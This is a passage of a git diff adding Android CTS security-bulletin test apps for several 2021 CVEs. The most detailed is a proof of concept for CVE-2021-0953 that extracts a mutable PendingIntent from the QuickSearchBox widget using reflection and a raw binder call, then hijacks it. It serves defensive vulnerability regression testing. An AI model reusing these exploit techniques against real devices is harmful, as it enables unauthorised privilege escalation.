+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index 2936db9..e7cd554 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -12,11 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0921",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
@@ -30,4 +33,3 @@
     ],
     sdk_version: "current",
 }
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
index ce841a4..3ba129b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -12,11 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0928",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
@@ -30,4 +33,3 @@
     ],
     sdk_version: "current",
 }
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
new file mode 100644
index 0000000..c458976
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0953",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 0000000..ddc942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0953"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-0953"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".PocVulnerableActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.action.WEB_SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 0000000..13651bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 0000000..2d3268b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/pocVulnerableActivity"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 0000000..c027ecf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumption_failure">-1</integer>
+    <integer name="pass">0</integer>
+    <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 0000000..6998865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="callback_key">testMutablePendingIntentCallback</string>
+    <string name="message_key">testMutablePendingIntentMessage</string>
+    <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 0000000..ee5dac6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    public static final int TIMEOUT_SEC = 20;
+    public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+    @Test
+    public void testMutablePendingIntent() {
+        final Context context = getApplicationContext();
+        PocStatus status = new PocStatus();
+        CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+        RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+            PocStatus pocStatus = new PocStatus();
+            pocStatus.setErrorMessage(
+                    result.getString(context.getResources().getString(R.string.message_key)));
+            pocStatus.setStatusCode(
+                    result.getInt(context.getResources().getString(R.string.status_key)));
+            callbackReturn.complete(pocStatus);
+        });
+        launchActivity(PocActivity.class, cb); // start activity with callback
+        try {
+            // blocking while the remotecallback is unset
+            status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+        } catch (InterruptedException | ExecutionException | TimeoutException e) {
+            assumeNoException(e);
+        }
+        assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+                .getInteger(R.integer.assumption_failure));
+        assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+                context.getResources().getInteger(R.integer.fail));
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+        final Context context = getApplicationContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(TEST_PACKAGE, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+        context.startActivity(intent);
+    }
+
+    private class PocStatus {
+        private int statusCode;
+        private String errorMessage;
+
+        public void setStatusCode(int status) {
+            statusCode = status;
+        }
+
+        public void setErrorMessage(String message) {
+            errorMessage = message;
+        }
+
+        public int getStatusCode() {
+            return statusCode;
+        }
+
+        public String getErrorMessage() {
+            return errorMessage;
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 0000000..c28bd75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+    public static int APPWIDGET_ID;
+    public static int REQUEST_BIND_APPWIDGET = 0;
+    public static final int TIMEOUT_MS = 10000;
+
+    Class mClRemoteViews;
+    Field mActions, mResponse, mFldPendingIntent;
+    Method mGetDeclaredField;
+    Object mObjSetOnClickResponse;
+    PendingIntent mPendingIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        AppWidgetHost appWidgetHost;
+        AppWidgetManager appWidgetManager;
+        PocActivity pocActivity = PocActivity.this;
+        appWidgetManager = AppWidgetManager.getInstance(this);
+        appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+        APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+        Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+        intent.putExtra("appWidgetId", APPWIDGET_ID);
+        intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+                "com.android.quicksearchbox.SearchWidgetProvider"));
+        try {
+            PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+        } catch (ActivityNotFoundException e) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Could not start activity");
+            return;
+        }
+        String settingsPkgName = "";
+        PackageManager pm = getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        for (ResolveInfo ri : ris) {
+            if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+                settingsPkgName = ri.activityInfo.packageName;
+            }
+        }
+        if (settingsPkgName.equals("")) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Settings package not found/AllowBindAppWidgetActivity not found");
+            return;
+        }
+        if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to start AllowBindAppWidgetActivity");
+            return;
+        }
+        boolean buttonClicked = false;
+        BySelector selector = By.clickable(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        for (UiObject2 object : objects) {
+            String objectText = object.getText();
+            String objectClass = object.getClassName();
+            if (objectText == null) {
+                continue;
+            }
+            if (objectText.equalsIgnoreCase("CREATE")) {
+                object.click();
+                buttonClicked = true;
+                break;
+            }
+        }
+        if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "'Create' button not found/clicked");
+            return;
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        PocActivity pocActivity = PocActivity.this;
+        if (requestCode == REQUEST_BIND_APPWIDGET) {
+            if (resultCode == -1) {
+                APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+            }
+        }
+        RemoteViews remoteViews =
+                pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+        if (remoteViews == null) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "remoteViews is null as callBinder() failed");
+            return;
+        }
+        try {
+            mClRemoteViews = Class.forName("android.widget.RemoteViews");
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Class android.widget.RemoteViews not found");
+            return;
+        }
+        Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+        Class clSetOnClickResponse = null;
+        Class clRemoteResponse = null;
+        for (Class c : rvSubClasses) {
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+                clSetOnClickResponse = c;
+            }
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+                clRemoteResponse = c;
+            }
+        }
+        try {
+            mActions = mClRemoteViews.getDeclaredField("mActions");
+        } catch (NoSuchFieldException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mActions field not found");
+            return;
+        }
+        mActions.setAccessible(true);
+        try {
+            mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+            mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+            mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mResponse field not found");
+            return;
+        }
+        mResponse.setAccessible(true);
+        try {
+            mFldPendingIntent =
+                    (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mPendingIntent field not found");
+            return;
+        }
+        mFldPendingIntent.setAccessible(true);
+        try {
+            mPendingIntent = (PendingIntent) mFldPendingIntent
+                    .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to get PendingIntent");
+            return;
+        }
+        Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+        spuriousIntent.setPackage(getApplicationContext().getPackageName());
+        spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+        } catch (PendingIntent.CanceledException e) {
+            // this is expected when vulnerability is not present and hence return
+            sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+            return;
+        }
+        sendTestResult(getResources().getInteger(R.integer.fail),
+                "Device is vulnerable to b/184046278!!"
+                        + " Mutable PendingIntent in QuickSearchBox widget");
+    }
+
+    private IBinder getService(String service) {
+        try {
+            Class clServiceManager = Class.forName("android.os.ServiceManager");
+            Method mtGetService = clServiceManager.getMethod("getService", String.class);
+            return (IBinder) mtGetService.invoke(null, service);
+        } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+                | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Failed to invoke android.os.ServiceManager service");
+            return null;
+        }
+    }
+
+    private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+        String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+        int GET_APP_WIDGET_VIEWS = 7;
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        RemoteViews remoteViews = null;
+        IBinder service = getService("appwidget");
+        if (service != null) {
+            data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+            data.writeString(callingPackage);
+            data.writeInt(appWidgetId);
+            try {
+                service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+            } catch (RemoteException e) {
+                e.printStackTrace();
+                sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                        "service.transact() failed due to RemoteException");
+                return null;
+            }
+            reply.readException();
+            if (reply.readInt() != 0) {
+                remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+            }
+        }
+        return remoteViews;
+    }
+
+    private void sendTestResult(int statusCode, String errorMessage) {
+        RemoteCallback cb =
+                (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+        Bundle res = new Bundle();
+        res.putString(getString(R.string.message_key), errorMessage);
+        res.putInt(getString(R.string.status_key), statusCode);
+        finish();
+        cb.sendResult(res); // update callback in test
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 0000000..b99ba9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.vulnerable_activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index ab1f627..ee33256 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0965",
     defaults: [
@@ -33,5 +37,5 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    sdk_version: "current",
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a..46f1613 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.UiDevice;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@
         try {
             device.wakeUp();
         } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
         }
         device.pressHome();
     }
 
+    private String getSettingsPkgName() {
+        PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        String name = "com.android.settings";
+        try {
+            ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+            ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+                    PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+            if (info != null && info.activityInfo != null) {
+                name = info.activityInfo.packageName;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        return name;
+    }
+
+    private boolean hasFeature(String feature) {
+        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+    }
+
+    private boolean isTV() {
+        return hasFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
     @Test
     public void testPermission() {
+        String pkg = getSettingsPkgName();
+        String cls = "";
+        if (isTV()) {
+            cls = ".accessories.BluetoothPairingDialog";
+        } else {
+            cls = ".bluetooth.BluetoothPairingDialog";
+        }
+
         try {
             Intent intent = new Intent(Intent.ACTION_MAIN);
-            intent.setClassName("com.android.settings",
-                    "com.android.settings.bluetooth.BluetoothPairingDialog");
+            intent.setClassName(pkg, pkg + cls);
             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             getApplicationContext().startActivity(intent);
-        } catch (SecurityException e) {
-            return;
+        } catch (Exception ex) {
+            ex.printStackTrace();
+            if (ex instanceof SecurityException) {
+                return;
+            }
+            assumeNoException(ex);
         }
 
         /* If SecurityException is not thrown, it indicates absence of fix */
-        throw new RuntimeException("Vulnerable to b/194300867 !!");
+        fail("Vulnerable to b/194300867 !!");
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
new file mode 100644
index 0000000..d3e2302
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39626",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
new file mode 100644
index 0000000..f097825
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39626"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <application
+        android:testOnly="true"
